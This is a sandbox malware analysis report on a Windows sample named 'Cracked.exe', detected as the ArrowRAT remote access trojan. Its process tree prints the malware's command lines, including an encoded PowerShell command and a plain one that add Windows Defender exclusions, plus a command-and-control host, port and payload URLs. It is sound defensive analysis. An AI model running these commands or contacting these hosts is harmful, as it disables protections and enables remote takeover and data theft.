Edit tour

Windows Analysis Report
Cracked.exe

Overview

General Information

Sample Name:	Cracked.exe
Analysis ID:	1282353
MD5:	6eb284564aa7bd24f4f6df02ef05d185
SHA1:	47f85ddc0b1a090d1852c37b2e2e1449e5b6db88
SHA256:	2be002d8f440059579b6eec67e37a1272081daad1dc8e3f3800adf94620c7beb
Tags:	disordexepackedremotestealer
Infos:

Detection

ArrowRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Yara detected ArrowRAT

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Encrypted powershell cmdline option found

Machine Learning detection for sample

Allocates memory in foreign processes

.NET source code contains potential unpacker

Creates files with lurking names (e.g. Crack.exe)

Injects a PE file into a foreign processes

Writes many files with high entropy

Adds a directory exclusion to Windows Defender

Drops executables to the windows directory (C:\Windows) and starts them

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Bypasses PowerShell execution policy

Contains functionality to log keystrokes (.Net Source)

Suspicious powershell command line found

.NET source code contains very large strings

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Potentially malicious time measurement code found

Potential dropper URLs found in powershell memory

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Adds / modifies Windows certificates

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

Contains functionality to query CPU information (cpuid)

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Contains functionality to detect virtual machines (SLDT)

Creates or modifies windows services

Classification

Process Tree

System is w10x64

Cracked.exe (PID: 3360 cmdline: C:\Users\user\Desktop\Cracked.exe MD5: 6EB284564AA7BD24F4F6DF02EF05D185)

powershell.exe (PID: 1164 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAZABjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AYgBqACMAPgA= MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 1332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Client.exe (PID: 5676 cmdline: "C:\Windows\Client.exe" MD5: D7DEA9816B882CB53D615A3AFDF0C955)

explorer.exe (PID: 7252 cmdline: C:\Windows\explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cvtres.exe (PID: 7332 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR MD5: C09985AE74F0882F208D75DE27770DFA)

conhost.exe (PID: 7360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ComputerDefaults.exe (PID: 7476 cmdline: "C:\Windows\System32\ComputerDefaults.exe" MD5: 1D494543B5C91E0EDD4C7C6C63EE25F0)

powershell.exe (PID: 7524 cmdline: "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe' MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 7532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

SteamSetup.exe (PID: 7264 cmdline: "C:\Users\user\AppData\Local\Temp\SteamSetup.exe" MD5: 70F3BC193DFA56B78F3E6E4F800F701F)

SteamService.exe (PID: 7908 cmdline: "C:\Program Files (x86)\Steam\bin\steamservice.exe" /Install MD5: 2DE3F7CF6020B3BB6BC4199459A63016)

conhost.exe (PID: 7916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 7304 cmdline: C:\Windows\explorer.exe /NOUACCHECK MD5: AD5296B280E8F522A8A897C96BAB0E1D)

Steam.exe (PID: 8164 cmdline: "C:\Program Files (x86)\Steam\steam.exe" -silent MD5: B4411620A3551834E4F699CC5A9B27E6)

Steam.exe (PID: 7492 cmdline: "C:\Program Files (x86)\Steam\steam.exe" MD5: B4411620A3551834E4F699CC5A9B27E6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
ArrowRAT	It is available as a service, purchasable by anyone to use in their own campaigns. Its features are generally fairly typical of a RAT, with its most notable aspect being the hVNC module which basically gives an attacker full remote access with minimal need for technical knowledge to use it.	No Attribution	https://www.arrowrat.com	https://malpedia.caad.fkie.fraunhofer.de/details/win.arrowrat

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_ArrowRAT	Yara detected ArrowRAT	Joe Security
00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ArrowRAT	Yara detected ArrowRAT	Joe Security
Process Memory Space: Client.exe PID: 5676	JoeSecurity_ArrowRAT	Yara detected ArrowRAT	Joe Security
Process Memory Space: cvtres.exe PID: 7332	JoeSecurity_ArrowRAT	Yara detected ArrowRAT	Joe Security

Unpacked PEs

Source	Rule	Description	Author
7.2.cvtres.exe.400000.0.unpack	JoeSecurity_ArrowRAT	Yara detected ArrowRAT	Joe Security
3.2.Client.exe.1b9bc897d68.1.raw.unpack	JoeSecurity_ArrowRAT	Yara detected ArrowRAT	Joe Security
3.2.Client.exe.1b9bc897d68.1.unpack	JoeSecurity_ArrowRAT	Yara detected ArrowRAT	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://51.254.27.112:1337/skra.jpg

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Windows\Client.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe	Avira: detection malicious, Label: TR/Dropper.Gen

Antivirus / Scanner detection for submitted sample

Source: Cracked.exe

Avira: detected

Multi AV Scanner detection for domain / URL

Source: https://raw.githubusercontent.com/PandorahVNC/PhotoCollection/main/rescale.ps1	Virustotal: Detection: 5%			Perma Link
Source: http://51.254.27.112:1337/skra.jpg	Virustotal: Detection: 10%			Perma Link

Machine Learning detection for sample

Source: Cracked.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\Client.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe	Joe Sandbox ML: detected

Source: Cracked.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Cracked.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: c:\buildslave\steam_rel_client_win32\build\src\SteamServiceHost\Release\SteamService_exe.pdb source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\User\Desktop\Pandora DevExpress New\1.8.6 Ready to use\DLL\obj\Release\DLL.pdb source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: c:\buildslave\steam_rel_client_win32\build\src\steamexe\Release\steamexe.pdb source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .pdbd( source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\User\Desktop\Pandora DevExpress New\1.8.6 Ready to use\DLL\obj\Release\DLL.pdbd( source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Code function: 5_2_0040596F CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_0040596F
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Code function: 5_2_004064C1 FindFirstFileW,FindClose,	5_2_004064C1
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Code function: 5_2_004027FB FindFirstFileW,	5_2_004027FB

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000001.00000002.394137576.000001F017B94000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Version, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:DefaultNoun, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:InstanceCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:StaticCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:CmdletAdapterPrivateData l
Source: powershell.exe, 00000001.00000002.394137576.000001F017B94000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyCollection, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyString, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNullOrEmpty, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateCount, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateLength, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateRange, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateSet, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Obsolete
Source: powershell.exe, 00000001.00000002.394137576.000001F017B94000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQuery
Source: powershell.exe, 0000000A.00000002.399007039.0000021780F41000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQuery8Q
Source: powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Version, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:DefaultNoun, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:InstanceCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:StaticCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:CmdletAdapterPrivateData

Source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.254.27.112:1337/skra.jpg
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000001.00000002.473547866.000001F02FB92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.370549186.00000217FE9CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fakecaptiveportal.org/
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fakecaptiveportal.org/Captive
Source: Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://media.steampowered.com/client/bins_cef_win32_win7.zip.vz.84d4bf110fe50eae384af648416cfd65cf71
Source: Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://media.steampowered.com/client/bins_codecs_win32.zip.vz.75115d428dad4c6577a2fa8a6f8f422fa17b16
Source: Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://media.steampowered.com/client/bins_misc_win32.zip.vz.f35d293b528a5cff5266c168f6bb160cc383e743
Source: Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://media.steampowered.com/client/bins_win32.zip.vz.0fea7d66ad9217cd0646c9cee096c21a2d85e649_2971
Source: Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://media.steampowered.com/client/resources_misc_all.zip.vz.e86a975545f3ab21a77373870cb311ef93934
Source: Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://media.steampowered.com/client/steam_win32_steamrow.zip.vz.f71a1a31ad111088c819b824acbf9063248
Source: Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://media.steampowered.com/client/steamui_websrc_all.zip.vz.69019218fe12f0c44fbad339b6e6bee6d7cdd
Source: Steam.exe, 00000011.00000003.434050431.0000000000735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://media.steampowered.com/client/tenfoot_images_all.zip.vz.2bb2e0fd7778b60915d496578aa4722e1db8c
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000000.357603561.000000000040A000.00000008.00000001.01000000.00000007.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000001.00000002.462109695.000001F027A03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.394137576.000001F017B94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000001.00000002.394137576.000001F017991000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.621702120.0000000007231000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.399007039.0000021780001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.394137576.000001F017B94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: SteamSetup.exe, 00000005.00000002.442798398.0000000000582000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000003.441283949.000000000057E000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.444245436.00000000027EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://support.steampowered.com/
Source: powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: SteamSetup.exe, 00000005.00000002.442798398.0000000000582000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000003.441283949.000000000057E000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.444245436.00000000027EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.steampowered.com/HelpLinkDisplayIconUninstallStringNoModifyNoRepair
Source: powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.399007039.0000021780208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.394137576.000001F0197CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.394137576.000001F0196E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.394137576.000001F01952F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.394137576.000001F01971A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.394137576.000001F019171000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.462109695.000001F027A03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.452036379.0000021790075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.621702120.0000000007231000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/PandorahVNC/PhotoCollection/main/rescale.ps1
Source: SteamSetup.exe, 00000005.00000002.444245436.0000000002864000.00000004.00000020.00020000.00000000.sdmp, SteamSetup.exe, 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmp, SteamService.exe, 0000000D.00000003.419642443.000000000354A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: Client.exe.0.dr, Program.cs	.Net Code: KeyboardLayout
Source: hDvkdxlbo.exe.3.dr, Program.cs	.Net Code: KeyboardLayout
Source: 3.0.Client.exe.1b9babc0000.0.unpack, Program.cs	.Net Code: KeyboardLayout

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

Code function: 5_2_0040541C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,FindCloseChangeNotification,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

5_2_0040541C

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\genre_overview.png_ entropy: 7.99534221716	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_xboxone.png_ entropy: 7.99533389846	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_x360.png_ entropy: 7.99031823851	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_ps4.png_ entropy: 7.99070932019	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_controller_ps3.png_ entropy: 7.9912916606	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\defaultfav.png_ entropy: 7.99506120397	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\trailer_tv.png_ entropy: 7.99767824848	Jump to dropped file
Source: C:\Program Files (x86)\Steam\Steam.exe	File created: C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\alpha_controller.png_ entropy: 7.99114123136	Jump to dropped file
